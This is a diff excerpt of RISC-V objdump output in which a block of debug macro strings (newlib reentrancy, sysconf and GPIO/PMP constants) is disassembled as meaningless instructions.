-    3d3e:	4500                	lw	s0,8(a0)
-    3d40:	5058                	lw	a4,36(s0)
-    3d42:	5f52                	lw	t5,52(sp)
-    3d44:	454e                	lw	a0,208(sp)
-    3d46:	4d5f5453          	0x4d5f5453
-    3d4a:	5841                	li	a6,-16
-    3d4c:	3320                	fld	fs0,96(a4)
-    3d4e:	0032                	c.slli	zero,0xc
-    3d50:	4954                	lw	a3,20(a0)
-    3d52:	454d                	li	a0,19
-    3d54:	4156                	lw	sp,84(sp)
-    3d56:	5f4c                	lw	a1,60(a4)
-    3d58:	4f54                	lw	a3,28(a4)
-    3d5a:	545f 4d49 5345      	0x53454d49545f
-    3d60:	4550                	lw	a2,12(a0)
-    3d62:	76742843          	fmadd.q	fa6,fs0,ft7,fa4,rdn
-    3d66:	742c                	flw	fa1,104(s0)
-    3d68:	64202973          	csrr	s2,0x642
-    3d6c:	207b206f          	j	b6772 <__stack_size+0xb5f72>
-    3d70:	7428                	flw	fa0,104(s0)
-    3d72:	3e2d2973          	csrrs	s2,0x3e2,s10
-    3d76:	7674                	flw	fa3,108(a2)
-    3d78:	735f 6365 3d20      	0x3d206365735f
-    3d7e:	2820                	fld	fs0,80(s0)
-    3d80:	7674                	flw	fa3,108(a2)
-    3d82:	2d29                	jal	439c <__stack_size+0x3b9c>
-    3d84:	743e                	flw	fs0,236(sp)
-    3d86:	5f76                	lw	t5,124(sp)
-    3d88:	3b636573          	csrrsi	a0,pmpaddr6,6
-    3d8c:	2820                	fld	fs0,80(s0)
-    3d8e:	7374                	flw	fa3,100(a4)
-    3d90:	2d29                	jal	43aa <__stack_size+0x3baa>
-    3d92:	743e                	flw	fs0,236(sp)
-    3d94:	5f76                	lw	t5,124(sp)
-    3d96:	736e                	flw	ft6,248(sp)
-    3d98:	6365                	lui	t1,0x19
-    3d9a:	3d20                	fld	fs0,120(a0)
-    3d9c:	2820                	fld	fs0,80(s0)
-    3d9e:	7674                	flw	fa3,108(a2)
-    3da0:	2d29                	jal	43ba <__stack_size+0x3bba>
-    3da2:	743e                	flw	fs0,236(sp)
-    3da4:	5f76                	lw	t5,124(sp)
-    3da6:	7375                	lui	t1,0xffffd
-    3da8:	6365                	lui	t1,0x19
-    3daa:	2a20                	fld	fs0,80(a2)
-    3dac:	3120                	fld	fs0,96(a0)
-    3dae:	3030                	fld	fa2,96(s0)
-    3db0:	3b30                	fld	fa2,112(a4)
-    3db2:	7d20                	flw	fs0,120(a0)
-    3db4:	7720                	flw	fs0,104(a4)
-    3db6:	6968                	flw	fa0,84(a0)
-    3db8:	656c                	flw	fa1,76(a0)
-    3dba:	2820                	fld	fs0,80(s0)
-    3dbc:	2930                	fld	fa2,80(a0)
-    3dbe:	5f00                	lw	s0,56(a4)
-    3dc0:	465f 544c 485f      	0x485f544c465f
-    3dc6:	5341                	li	t1,-16
-    3dc8:	515f 4955 5445      	0x54454955515f
-    3dce:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    3dd4:	3120                	fld	fs0,96(a0)
-    3dd6:	5f00                	lw	s0,56(a4)
-    3dd8:	325f4353          	0x325f4353
-    3ddc:	505f 5342 435f      	0x435f5342505f
-    3de2:	4548                	lw	a0,12(a0)
-    3de4:	4f504b43          	fmadd.q	fs6,ft0,fs5,fs1,rmm
-    3de8:	4e49                	li	t3,18
-    3dea:	2054                	fld	fa3,128(s0)
-    3dec:	3131                	jal	39f8 <__stack_size+0x31f8>
-    3dee:	0035                	c.nop	13
-    3df0:	445f 5645 545f      	0x545f5645445f
-    3df6:	445f 4345 414c      	0x414c4345445f
-    3dfc:	4552                	lw	a0,20(sp)
-    3dfe:	2044                	fld	fs1,128(s0)
-    3e00:	5500                	lw	s0,40(a0)
-    3e02:	4e49                	li	t3,18
-    3e04:	5f54                	lw	a3,60(a4)
-    3e06:	4146                	lw	sp,80(sp)
-    3e08:	34365453          	0x34365453
-    3e0c:	4d5f 5841 5f20      	0x5f2058414d5f
-    3e12:	555f 4e49 5f54      	0x5f544e49555f
-    3e18:	4146                	lw	sp,80(sp)
-    3e1a:	34365453          	0x34365453
-    3e1e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3e24:	4700                	lw	s0,8(a4)
-    3e26:	4950                	lw	a2,20(a0)
-    3e28:	4f495f4f          	fnmadd.q	ft10,fs2,fs4,fs1,unknown
-    3e2c:	5f46                	lw	t5,112(sp)
-    3e2e:	204c4553          	0x204c4553
-    3e32:	7830                	flw	fa2,112(s0)
-    3e34:	54004333          	0x54004333
-    3e38:	4d49                	li	s10,18
-    3e3a:	5245                	li	tp,-15
-    3e3c:	415f 5342 4954      	0x49545342415f
-    3e42:	454d                	li	a0,19
-    3e44:	3420                	fld	fs0,104(s0)
-    3e46:	5f00                	lw	s0,56(a4)
-    3e48:	585f4353          	0x585f4353
-    3e4c:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    3e50:	535f 4d48 3120      	0x31204d48535f
-    3e56:	3330                	fld	fa2,96(a4)
-    3e58:	5300                	lw	s0,32(a4)
-    3e5a:	4749                	li	a4,18
-    3e5c:	415f 4f54 494d      	0x494d4f54415f
-    3e62:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
-    3e66:	2058                	fld	fa4,128(s0)
-    3e68:	5f5f 4953 5f47      	0x5f4749535f5f
-    3e6e:	5441                	li	s0,-16
-    3e70:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    3e74:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    3e7a:	5f00                	lw	s0,56(a4)
-    3e7c:	4552                	lw	a0,20(sp)
-    3e7e:	4e45                	li	t3,17
-    3e80:	5f54                	lw	a3,60(a4)
-    3e82:	4e49                	li	t3,18
-    3e84:	5449                	li	s0,-14
-    3e86:	505f 5254 5a5f      	0x5a5f5254505f
-    3e8c:	5245                	li	tp,-15
-    3e8e:	2844454f          	fnmadd.s	fa0,fs0,ft4,ft5,rmm
-    3e92:	6176                	flw	ft2,92(sp)
-    3e94:	2972                	fld	fs2,280(sp)
-    3e96:	7b20                	flw	fs0,112(a4)
-    3e98:	2820                	fld	fs0,80(s0)
-    3e9a:	6176                	flw	ft2,92(sp)
-    3e9c:	2972                	fld	fs2,280(sp)
-    3e9e:	3e2d                	jal	39d8 <__stack_size+0x31d8>
-    3ea0:	735f 6474 6e69      	0x6e696474735f
-    3ea6:	3d20                	fld	fs0,120(a0)
-    3ea8:	5f20                	lw	s0,120(a4)
-    3eaa:	4552                	lw	a0,20(sp)
-    3eac:	4e45                	li	t3,17
-    3eae:	5f54                	lw	a3,60(a4)
-    3eb0:	49445453          	0x49445453
-    3eb4:	54535f4f          	0x54535f4f
-    3eb8:	4552                	lw	a0,20(sp)
-    3eba:	4d41                	li	s10,16
-    3ebc:	7628                	flw	fa0,104(a2)
-    3ebe:	7261                	lui	tp,0xffff8
-    3ec0:	202c                	fld	fa1,64(s0)
-    3ec2:	2930                	fld	fa2,80(a0)
-    3ec4:	7628203b          	0x7628203b
-    3ec8:	7261                	lui	tp,0xffff8
-    3eca:	2d29                	jal	44e4 <__stack_size+0x3ce4>
-    3ecc:	5f3e                	lw	t5,236(sp)
-    3ece:	6f647473          	csrrci	s0,0x6f6,8
-    3ed2:	7475                	lui	s0,0xffffd
-    3ed4:	3d20                	fld	fs0,120(a0)
-    3ed6:	5f20                	lw	s0,120(a4)
-    3ed8:	4552                	lw	a0,20(sp)
-    3eda:	4e45                	li	t3,17
-    3edc:	5f54                	lw	a3,60(a4)
-    3ede:	49445453          	0x49445453
-    3ee2:	54535f4f          	0x54535f4f
-    3ee6:	4552                	lw	a0,20(sp)
-    3ee8:	4d41                	li	s10,16
-    3eea:	7628                	flw	fa0,104(a2)
-    3eec:	7261                	lui	tp,0xffff8
-    3eee:	202c                	fld	fa1,64(s0)
-    3ef0:	2931                	jal	430c <__stack_size+0x3b0c>
-    3ef2:	7628203b          	0x7628203b
-    3ef6:	7261                	lui	tp,0xffff8
-    3ef8:	2d29                	jal	4512 <__stack_size+0x3d12>
-    3efa:	5f3e                	lw	t5,236(sp)
-    3efc:	65647473          	csrrci	s0,0x656,8
-    3f00:	7272                	flw	ft4,60(sp)
-    3f02:	3d20                	fld	fs0,120(a0)
-    3f04:	5f20                	lw	s0,120(a4)
-    3f06:	4552                	lw	a0,20(sp)
-    3f08:	4e45                	li	t3,17
-    3f0a:	5f54                	lw	a3,60(a4)
-    3f0c:	49445453          	0x49445453
-    3f10:	54535f4f          	0x54535f4f
-    3f14:	4552                	lw	a0,20(sp)
-    3f16:	4d41                	li	s10,16
-    3f18:	7628                	flw	fa0,104(a2)
-    3f1a:	7261                	lui	tp,0xffff8
-    3f1c:	202c                	fld	fa1,64(s0)
-    3f1e:	2932                	fld	fs2,264(sp)
-    3f20:	7628203b          	0x7628203b
-    3f24:	7261                	lui	tp,0xffff8
-    3f26:	2d29                	jal	4540 <__stack_size+0x3d40>
-    3f28:	5f3e                	lw	t5,236(sp)
-    3f2a:	656e                	flw	fa0,216(sp)
-    3f2c:	725f2e77          	0x725f2e77
-    3f30:	6565                	lui	a0,0x19
-    3f32:	746e                	flw	fs0,248(sp)
-    3f34:	5f2e                	lw	t5,232(sp)
-    3f36:	6172                	flw	ft2,28(sp)
-    3f38:	646e                	flw	fs0,216(sp)
-    3f3a:	6e5f 7865 2074      	0x207478656e5f
-    3f40:	203d                	jal	3f6e <__stack_size+0x376e>
-    3f42:	3b31                	jal	3c5e <__stack_size+0x345e>
-    3f44:	2820                	fld	fs0,80(s0)
-    3f46:	6176                	flw	ft2,92(sp)
-    3f48:	2972                	fld	fs2,280(sp)
-    3f4a:	3e2d                	jal	3a84 <__stack_size+0x3284>
-    3f4c:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    3f52:	6572                	flw	fa0,28(sp)
-    3f54:	6e65                	lui	t3,0x19
-    3f56:	2e74                	fld	fa3,216(a2)
-    3f58:	725f 3834 5f2e      	0x5f2e3834725f
-    3f5e:	64656573          	csrrsi	a0,0x646,10
-    3f62:	205d305b          	0x205d305b
-    3f66:	203d                	jal	3f94 <__stack_size+0x3794>
-    3f68:	525f 4e41 3444      	0x34444e41525f
-    3f6e:	5f38                	lw	a4,120(a4)
-    3f70:	44454553          	0x44454553
-    3f74:	305f 203b 7628      	0x7628203b305f
-    3f7a:	7261                	lui	tp,0xffff8
-    3f7c:	2d29                	jal	4596 <__stack_size+0x3d96>
-    3f7e:	5f3e                	lw	t5,236(sp)
-    3f80:	656e                	flw	fa0,216(sp)
-    3f82:	725f2e77          	0x725f2e77
-    3f86:	6565                	lui	a0,0x19
-    3f88:	746e                	flw	fs0,248(sp)
-    3f8a:	5f2e                	lw	t5,232(sp)
-    3f8c:	3472                	fld	fs0,312(sp)
-    3f8e:	2e38                	fld	fa4,88(a2)
-    3f90:	735f 6565 5b64      	0x5b646565735f
-    3f96:	5d31                	li	s10,-20
-    3f98:	3d20                	fld	fs0,120(a0)
-    3f9a:	5f20                	lw	s0,120(a4)
-    3f9c:	4152                	lw	sp,20(sp)
-    3f9e:	444e                	lw	s0,208(sp)
-    3fa0:	3834                	fld	fa3,112(s0)
-    3fa2:	535f 4545 5f44      	0x5f444545535f
-    3fa8:	3b31                	jal	3cc4 <__stack_size+0x34c4>
-    3faa:	2820                	fld	fs0,80(s0)
-    3fac:	6176                	flw	ft2,92(sp)
-    3fae:	2972                	fld	fs2,280(sp)
-    3fb0:	3e2d                	jal	3aea <__stack_size+0x32ea>
-    3fb2:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    3fb8:	6572                	flw	fa0,28(sp)
-    3fba:	6e65                	lui	t3,0x19
-    3fbc:	2e74                	fld	fa3,216(a2)
-    3fbe:	725f 3834 5f2e      	0x5f2e3834725f
-    3fc4:	64656573          	csrrsi	a0,0x646,10
-    3fc8:	205d325b          	0x205d325b
-    3fcc:	203d                	jal	3ffa <__stack_size+0x37fa>
-    3fce:	525f 4e41 3444      	0x34444e41525f
-    3fd4:	5f38                	lw	a4,120(a4)
-    3fd6:	44454553          	0x44454553
-    3fda:	325f 203b 7628      	0x7628203b325f
-    3fe0:	7261                	lui	tp,0xffff8
-    3fe2:	2d29                	jal	45fc <__stack_size+0x3dfc>
-    3fe4:	5f3e                	lw	t5,236(sp)
-    3fe6:	656e                	flw	fa0,216(sp)
-    3fe8:	725f2e77          	0x725f2e77
-    3fec:	6565                	lui	a0,0x19
-    3fee:	746e                	flw	fs0,248(sp)
-    3ff0:	5f2e                	lw	t5,232(sp)
-    3ff2:	3472                	fld	fs0,312(sp)
-    3ff4:	2e38                	fld	fa4,88(a2)
-    3ff6:	6d5f 6c75 5b74      	0x5b746c756d5f
-    3ffc:	5d30                	lw	a2,120(a0)
-    3ffe:	3d20                	fld	fs0,120(a0)
-    4000:	5f20                	lw	s0,120(a4)
-    4002:	4152                	lw	sp,20(sp)
-    4004:	444e                	lw	s0,208(sp)
-    4006:	3834                	fld	fa3,112(s0)
-    4008:	4d5f 4c55 5f54      	0x5f544c554d5f
-    400e:	3b30                	fld	fa2,112(a4)
-    4010:	2820                	fld	fs0,80(s0)
-    4012:	6176                	flw	ft2,92(sp)
-    4014:	2972                	fld	fs2,280(sp)
-    4016:	3e2d                	jal	3b50 <__stack_size+0x3350>
-    4018:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    401e:	6572                	flw	fa0,28(sp)
-    4020:	6e65                	lui	t3,0x19
-    4022:	2e74                	fld	fa3,216(a2)
-    4024:	725f 3834 5f2e      	0x5f2e3834725f
-    402a:	756d                	lui	a0,0xffffb
-    402c:	746c                	flw	fa1,108(s0)
-    402e:	205d315b          	0x205d315b
-    4032:	203d                	jal	4060 <__stack_size+0x3860>
-    4034:	525f 4e41 3444      	0x34444e41525f
-    403a:	5f38                	lw	a4,120(a4)
-    403c:	554d                	li	a0,-13
-    403e:	544c                	lw	a1,44(s0)
-    4040:	315f 203b 7628      	0x7628203b315f
-    4046:	7261                	lui	tp,0xffff8
-    4048:	2d29                	jal	4662 <__stack_size+0x3e62>
-    404a:	5f3e                	lw	t5,236(sp)
-    404c:	656e                	flw	fa0,216(sp)
-    404e:	725f2e77          	0x725f2e77
-    4052:	6565                	lui	a0,0x19
-    4054:	746e                	flw	fs0,248(sp)
-    4056:	5f2e                	lw	t5,232(sp)
-    4058:	3472                	fld	fs0,312(sp)
-    405a:	2e38                	fld	fa4,88(a2)
-    405c:	6d5f 6c75 5b74      	0x5b746c756d5f
-    4062:	5d32                	lw	s10,44(sp)
-    4064:	3d20                	fld	fs0,120(a0)
-    4066:	5f20                	lw	s0,120(a4)
-    4068:	4152                	lw	sp,20(sp)
-    406a:	444e                	lw	s0,208(sp)
-    406c:	3834                	fld	fa3,112(s0)
-    406e:	4d5f 4c55 5f54      	0x5f544c554d5f
-    4074:	3b32                	fld	fs6,296(sp)
-    4076:	2820                	fld	fs0,80(s0)
-    4078:	6176                	flw	ft2,92(sp)
-    407a:	2972                	fld	fs2,280(sp)
-    407c:	3e2d                	jal	3bb6 <__stack_size+0x33b6>
-    407e:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    4084:	6572                	flw	fa0,28(sp)
-    4086:	6e65                	lui	t3,0x19
-    4088:	2e74                	fld	fa3,216(a2)
-    408a:	725f 3834 5f2e      	0x5f2e3834725f
-    4090:	6461                	lui	s0,0x18
-    4092:	2064                	fld	fs1,192(s0)
-    4094:	203d                	jal	40c2 <__stack_size+0x38c2>
-    4096:	525f 4e41 3444      	0x34444e41525f
-    409c:	5f38                	lw	a4,120(a4)
-    409e:	4441                	li	s0,16
-    40a0:	3b44                	fld	fs1,176(a4)
-    40a2:	7d20                	flw	fs0,120(a0)
-    40a4:	5f00                	lw	s0,56(a4)
-    40a6:	465f 544c 3436      	0x3436544c465f
-    40ac:	5f58                	lw	a4,60(a4)
-    40ae:	4f4e                	lw	t5,208(sp)
-    40b0:	4d52                	lw	s10,20(sp)
-    40b2:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    40b8:	3120                	fld	fs0,96(a0)
-    40ba:	312e                	fld	ft2,232(sp)
-    40bc:	3938                	fld	fa4,112(a0)
-    40be:	34313337          	lui	t1,0x34313
-    40c2:	3539                	jal	3ed0 <__stack_size+0x36d0>
-    40c4:	32373533          	0x32373533
-    40c8:	36373133          	0x36373133
-    40cc:	3035                	jal	38f8 <__stack_size+0x30f8>
-    40ce:	3538                	fld	fa4,104(a0)
-    40d0:	33393537          	lui	a0,0x33393
-    40d4:	3632                	fld	fa2,296(sp)
-    40d6:	3236                	fld	ft4,360(sp)
-    40d8:	3038                	fld	fa4,96(s0)
-    40da:	3730                	fld	fa2,104(a4)
-    40dc:	3230                	fld	fa2,96(a2)
-    40de:	2b65                	jal	4696 <__stack_size+0x3e96>
-    40e0:	3934                	fld	fa3,112(a0)
-    40e2:	36463233          	0x36463233
-    40e6:	7834                	flw	fa3,112(s0)
-    40e8:	5500                	lw	s0,40(a0)
-    40ea:	4e49                	li	t3,18
-    40ec:	4d54                	lw	a3,28(a0)
-    40ee:	5841                	li	a6,-16
-    40f0:	435f 5f00 5342      	0x53425f00435f
-    40f6:	5f44                	lw	s1,60(a4)
-    40f8:	41484357          	0x41484357
-    40fc:	5f52                	lw	t5,52(sp)
-    40fe:	5f54                	lw	a3,60(a4)
-    4100:	0020                	addi	s0,sp,8
-    4102:	535f 5f43 5954      	0x59545f43535f
-    4108:	4550                	lw	a2,12(a0)
-    410a:	5f44                	lw	s1,60(a4)
-    410c:	454d                	li	a0,19
-    410e:	4f4d                	li	t5,19
-    4110:	5952                	lw	s2,52(sp)
-    4112:	4f5f 4a42 4345      	0x43454a424f5f
-    4118:	5354                	lw	a3,36(a4)
-    411a:	3920                	fld	fs0,112(a0)
-    411c:	0031                	c.nop	12
-    411e:	5f5f 4353 4148      	0x414843535f5f
-    4124:	5f52                	lw	t5,52(sp)
-    4126:	54444957          	0x54444957
-    412a:	5f48                	lw	a0,60(a4)
-    412c:	205f 0038 4d44      	0x4d440038205f
-    4132:	5f41                	li	t5,-16
-    4134:	415f4843          	fmadd.s	fa6,ft10,fs5,fs0,rmm
-    4138:	4f42                	lw	t5,16(sp)
-    413a:	5452                	lw	s0,52(sp)
-    413c:	4f5f 4646 3020      	0x302046464f5f
-    4142:	3478                	fld	fa4,232(s0)
-    4144:	0030                	addi	a2,sp,8
-    4146:	5f5f 524f 4544      	0x4544524f5f5f
-    414c:	5f52                	lw	t5,52(sp)
-    414e:	4450                	lw	a2,12(s0)
-    4150:	5f50                	lw	a2,60(a4)
-    4152:	4e45                	li	t3,17
-    4154:	4944                	lw	s1,20(a0)
-    4156:	4e41                	li	t3,16
-    4158:	5f5f 3320 3134      	0x313433205f5f
-    415e:	0032                	c.slli	zero,0xc
-    4160:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    4166:	4349                	li	t1,18
-    4168:	415f 5143 4955      	0x49555143415f
-    416e:	4552                	lw	a0,20(sp)
-    4170:	3220                	fld	fs0,96(a2)
-    4172:	5000                	lw	s0,32(s0)
-    4174:	5254                	lw	a3,36(a2)
-    4176:	4944                	lw	s1,20(a0)
-    4178:	4646                	lw	a2,80(sp)
-    417a:	4d5f 4e49 5000      	0x50004e494d5f
-    4180:	435f4d57          	0x435f4d57
-    4184:	4746                	lw	a4,80(sp)
-    4186:	435f 504d 4330      	0x4330504d435f
-    418c:	4e45                	li	t3,17
-    418e:	4554                	lw	a3,12(a0)
-    4190:	2052                	fld	ft0,272(sp)
-    4192:	7830                	flw	fa2,112(s0)
-    4194:	3030                	fld	fa2,96(s0)
-    4196:	3130                	fld	fa2,96(a0)
-    4198:	3030                	fld	fa2,96(s0)
-    419a:	3030                	fld	fa2,96(s0)
-    419c:	4600                	lw	s0,8(a2)
-    419e:	435f 564e 2054      	0x2054564e435f
-    41a4:	3231                	jal	3ab0 <__stack_size+0x32b0>
-    41a6:	5f00                	lw	s0,56(a4)
-    41a8:	495f 544e 465f      	0x465f544e495f
-    41ae:	5341                	li	t1,-16
-    41b0:	3354                	fld	fa3,160(a4)
-    41b2:	5f32                	lw	t5,44(sp)
-    41b4:	54444957          	0x54444957
-    41b8:	5f48                	lw	a0,60(a4)
-    41ba:	205f 3233 5f00      	0x5f003233205f
-    41c0:	495f 544e 465f      	0x465f544e495f
-    41c6:	5341                	li	t1,-16
-    41c8:	3654                	fld	fa3,168(a2)
-    41ca:	5f34                	lw	a3,120(a4)
-    41cc:	5954                	lw	a3,52(a0)
-    41ce:	4550                	lw	a2,12(a0)
-    41d0:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    41d6:	6f6c2067          	0x6f6c2067
-    41da:	676e                	flw	fa4,216(sp)
-    41dc:	6920                	flw	fs0,80(a0)
-    41de:	746e                	flw	fs0,248(sp)
-    41e0:	5f00                	lw	s0,56(a4)
-    41e2:	6e5f 696f 6c6e      	0x6c6e696f6e5f
-    41e8:	6e69                	lui	t3,0x1a
-    41ea:	2065                	jal	4292 <__stack_size+0x3a92>
-    41ec:	5f5f 7461 7274      	0x727474615f5f
-    41f2:	6269                	lui	tp,0x1a
-    41f4:	7475                	lui	s0,0xffffd
-    41f6:	5f65                	li	t5,-7
-    41f8:	205f 2828 5f5f      	0x5f5f2828205f
-    41fe:	6f6e                	flw	ft10,216(sp)
-    4200:	6e69                	lui	t3,0x1a
-    4202:	696c                	flw	fa1,84(a0)
-    4204:	656e                	flw	fa0,216(sp)
-    4206:	5f5f 2929 5300      	0x530029295f5f
-    420c:	495f 5353 434f      	0x434f5353495f
-    4212:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
-    4216:	2820                	fld	fs0,80(s0)
-    4218:	2828                	fld	fa0,80(s0)
-    421a:	296d                	jal	46d4 <__stack_size+0x3ed4>
-    421c:	5f26                	lw	t5,104(sp)
-    421e:	4649                	li	a2,18
-    4220:	544d                	li	s0,-13
-    4222:	2029                	jal	422c <__stack_size+0x3a2c>
-    4224:	3d3d                	jal	4062 <__stack_size+0x3862>
-    4226:	5f20                	lw	s0,120(a4)
-    4228:	4649                	li	a2,18
-    422a:	4b434f53          	0x4b434f53
-    422e:	0029                	c.nop	10
-    4230:	5f5f 7461 7274      	0x727474615f5f
-    4236:	6269                	lui	tp,0x1a
-    4238:	7475                	lui	s0,0xffffd
-    423a:	5f65                	li	t5,-7
-    423c:	7570                	flw	fa2,108(a0)
-    423e:	6572                	flw	fa0,28(sp)
-    4240:	5f5f 0020 485f      	0x485f00205f5f
-    4246:	5641                	li	a2,-16
-    4248:	5f45                	li	t5,-15
-    424a:	4f4c                	lw	a1,28(a4)
-    424c:	474e                	lw	a4,208(sp)
-    424e:	445f 554f 4c42      	0x4c42554f445f
-    4254:	2045                	jal	42f4 <__stack_size+0x3af4>
-    4256:	0031                	c.nop	12
-    4258:	5f5f 4e49 5f54      	0x5f544e495f5f
-    425e:	454c                	lw	a1,12(a0)
-    4260:	5341                	li	t1,-16
-    4262:	3654                	fld	fa3,168(a2)
-    4264:	5f34                	lw	a3,120(a4)
-    4266:	414d                	li	sp,19
-    4268:	5f58                	lw	a4,60(a4)
-    426a:	205f 7830 6637      	0x66377830205f
-    4270:	6666                	flw	fa2,88(sp)
-    4272:	6666                	flw	fa2,88(sp)
-    4274:	6666                	flw	fa2,88(sp)
-    4276:	6666                	flw	fa2,88(sp)
-    4278:	6666                	flw	fa2,88(sp)
-    427a:	6666                	flw	fa2,88(sp)
-    427c:	6666                	flw	fa2,88(sp)
-    427e:	4c4c                	lw	a1,28(s0)
-    4280:	5f00                	lw	s0,56(a4)
-    4282:	585f4353          	0x585f4353
-    4286:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    428a:	435f 5952 5450      	0x54505952435f
-    4290:	3920                	fld	fs0,112(a0)
-    4292:	0036                	c.slli	zero,0xd
-    4294:	6c61                	lui	s8,0x18
-    4296:	6f6c                	flw	fa1,92(a4)
-    4298:	73286163          	bltu	a6,s2,49ba <__stack_size+0x41ba>
-    429c:	7a69                	lui	s4,0xffffa
-    429e:	2965                	jal	4756 <__stack_size+0x3f56>
-    42a0:	5f20                	lw	s0,120(a4)
-    42a2:	625f 6975 746c      	0x746c6975625f
-    42a8:	6e69                	lui	t3,0x1a
-    42aa:	615f 6c6c 636f      	0x636f6c6c615f
-    42b0:	2861                	jal	4348 <__stack_size+0x3b48>
-    42b2:	657a6973          	csrrsi	s2,0x657,20
-    42b6:	0029                	c.nop	10
-    42b8:	5f5f 4955 544e      	0x544e49555f5f
-    42be:	435f3233          	0x435f3233
-    42c2:	6328                	flw	fa0,64(a4)
-    42c4:	2029                	jal	42ce <__stack_size+0x3ace>
-    42c6:	23232063          	0x23232063
-    42ca:	5520                	lw	s0,104(a0)
-    42cc:	004c                	addi	a1,sp,4
-    42ce:	5f5f 4957 544e      	0x544e49575f5f
-    42d4:	575f 4449 4854      	0x48544449575f
-    42da:	5f5f 3320 0032      	0x3233205f5f
-    42e0:	4955                	li	s2,21
-    42e2:	544e                	lw	s0,240(sp)
-    42e4:	435f3233          	0x435f3233
-    42e8:	6328                	flw	fa0,64(a4)
-    42ea:	2029                	jal	42f4 <__stack_size+0x3af4>
-    42ec:	5f5f 4955 544e      	0x544e49555f5f
-    42f2:	435f3233          	0x435f3233
-    42f6:	6328                	flw	fa0,64(a4)
-    42f8:	0029                	c.nop	10
-    42fa:	5f46                	lw	t5,112(sp)
-    42fc:	4f544553          	0x4f544553
-    4300:	36204e57          	0x36204e57
-    4304:	5f00                	lw	s0,56(a4)
-    4306:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    430a:	5f44494b          	fnmsub.q	fs2,fs0,fs4,fa1,rmm
-    430e:	5f54                	lw	a3,60(a4)
-    4310:	7520                	flw	fs0,104(a0)
-    4312:	736e                	flw	ft6,248(sp)
-    4314:	6769                	lui	a4,0x1a
-    4316:	656e                	flw	fa0,216(sp)
-    4318:	2064                	fld	fs1,192(s0)
-    431a:	6f6c                	flw	fa1,92(a4)
-    431c:	676e                	flw	fa4,216(sp)
-    431e:	5f00                	lw	s0,56(a4)
-    4320:	735f 6365 6974      	0x69746365735f
-    4326:	78286e6f          	jal	t3,8aaa8 <__stack_size+0x8a2a8>
-    432a:	2029                	jal	4334 <__stack_size+0x3b34>
-    432c:	5f5f 7461 7274      	0x727474615f5f
-    4332:	6269                	lui	tp,0x1a
-    4334:	7475                	lui	s0,0xffffd
-    4336:	5f65                	li	t5,-7
-    4338:	285f 5f28 735f      	0x735f5f28285f
-    433e:	6365                	lui	t1,0x19
-    4340:	6974                	flw	fa3,84(a0)
-    4342:	5f5f6e6f          	jal	t3,fb136 <__stack_size+0xfa936>
-    4346:	7828                	flw	fa0,112(s0)
-    4348:	2929                	jal	4762 <__stack_size+0x3f62>
-    434a:	0029                	c.nop	10
-    434c:	465f 4f4e 5443      	0x54434f4e465f
-    4352:	5954                	lw	a3,52(a0)
-    4354:	3020                	fld	fs0,96(s0)
-    4356:	3878                	fld	fa4,240(s0)
-    4358:	3030                	fld	fa2,96(s0)
-    435a:	0030                	addi	a2,sp,8
-    435c:	5f5f 7470 7672      	0x767274705f5f
-    4362:	6c61                	lui	s8,0x18
-    4364:	6575                	lui	a0,0x1d
-    4366:	0020                	addi	s0,sp,8
-    4368:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    436c:	534d                	li	t1,-13
-    436e:	54415243          	0x54415243
-    4372:	33204843          	fmadd.d	fa6,ft0,fs2,ft6,rmm
-    4376:	5500                	lw	s0,40(a0)
-    4378:	4e49                	li	t3,18
-    437a:	3654                	fld	fa3,168(a2)
-    437c:	5f34                	lw	a3,120(a4)
-    437e:	414d                	li	sp,19
-    4380:	2058                	fld	fa4,128(s0)
-    4382:	5f5f 4955 544e      	0x544e49555f5f
-    4388:	3436                	fld	fs0,360(sp)
-    438a:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    4390:	4900                	lw	s0,16(a0)
-    4392:	544e                	lw	s0,240(sp)
-    4394:	4c5f 4145 5453      	0x545341454c5f
-    439a:	5f38                	lw	a4,120(a4)
-    439c:	494d                	li	s2,19
-    439e:	204e                	fld	ft0,208(sp)
-    43a0:	2d28                	fld	fa0,88(a0)
-    43a2:	4e49                	li	t3,18
-    43a4:	5f54                	lw	a3,60(a4)
-    43a6:	454c                	lw	a1,12(a0)
-    43a8:	5341                	li	t1,-16
-    43aa:	3854                	fld	fa3,176(s0)
-    43ac:	4d5f 5841 2d20      	0x2d2058414d5f
-    43b2:	3120                	fld	fs0,96(a0)
-    43b4:	0029                	c.nop	10
-    43b6:	535f 5f43 5453      	0x54535f43535f
-    43bc:	4552                	lw	a0,20(sp)
-    43be:	4d41                	li	s10,16
-    43c0:	4d5f 5841 3120      	0x312058414d5f
-    43c6:	3030                	fld	fa2,96(s0)
-    43c8:	5f00                	lw	s0,56(a4)
-    43ca:	495f 544e 414d      	0x414d544e495f
-    43d0:	5f58                	lw	a4,60(a4)
-    43d2:	54444957          	0x54444957
-    43d6:	5f48                	lw	a0,60(a4)
-    43d8:	205f 3436 7000      	0x70003436205f
-    43de:	706d                	c.lui	zero,0xffffb
-    43e0:	00676663          	bltu	a4,t1,43ec <__stack_size+0x3bec>
-    43e4:	5f5f 4e47 4355      	0x43554e475f5f
-    43ea:	494c                	lw	a1,20(a0)
-    43ec:	5f5f454b          	fnmsub.q	fa0,ft10,fs5,fa1,rmm
-    43f0:	535f 4345 4954      	0x49544345535f
-    43f6:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    43fa:	5f00                	lw	s0,56(a4)
-    43fc:	69647473          	csrrci	s0,0x696,8
-    4400:	5f6e                	lw	t5,248(sp)
-    4402:	2872                	fld	fa6,280(sp)
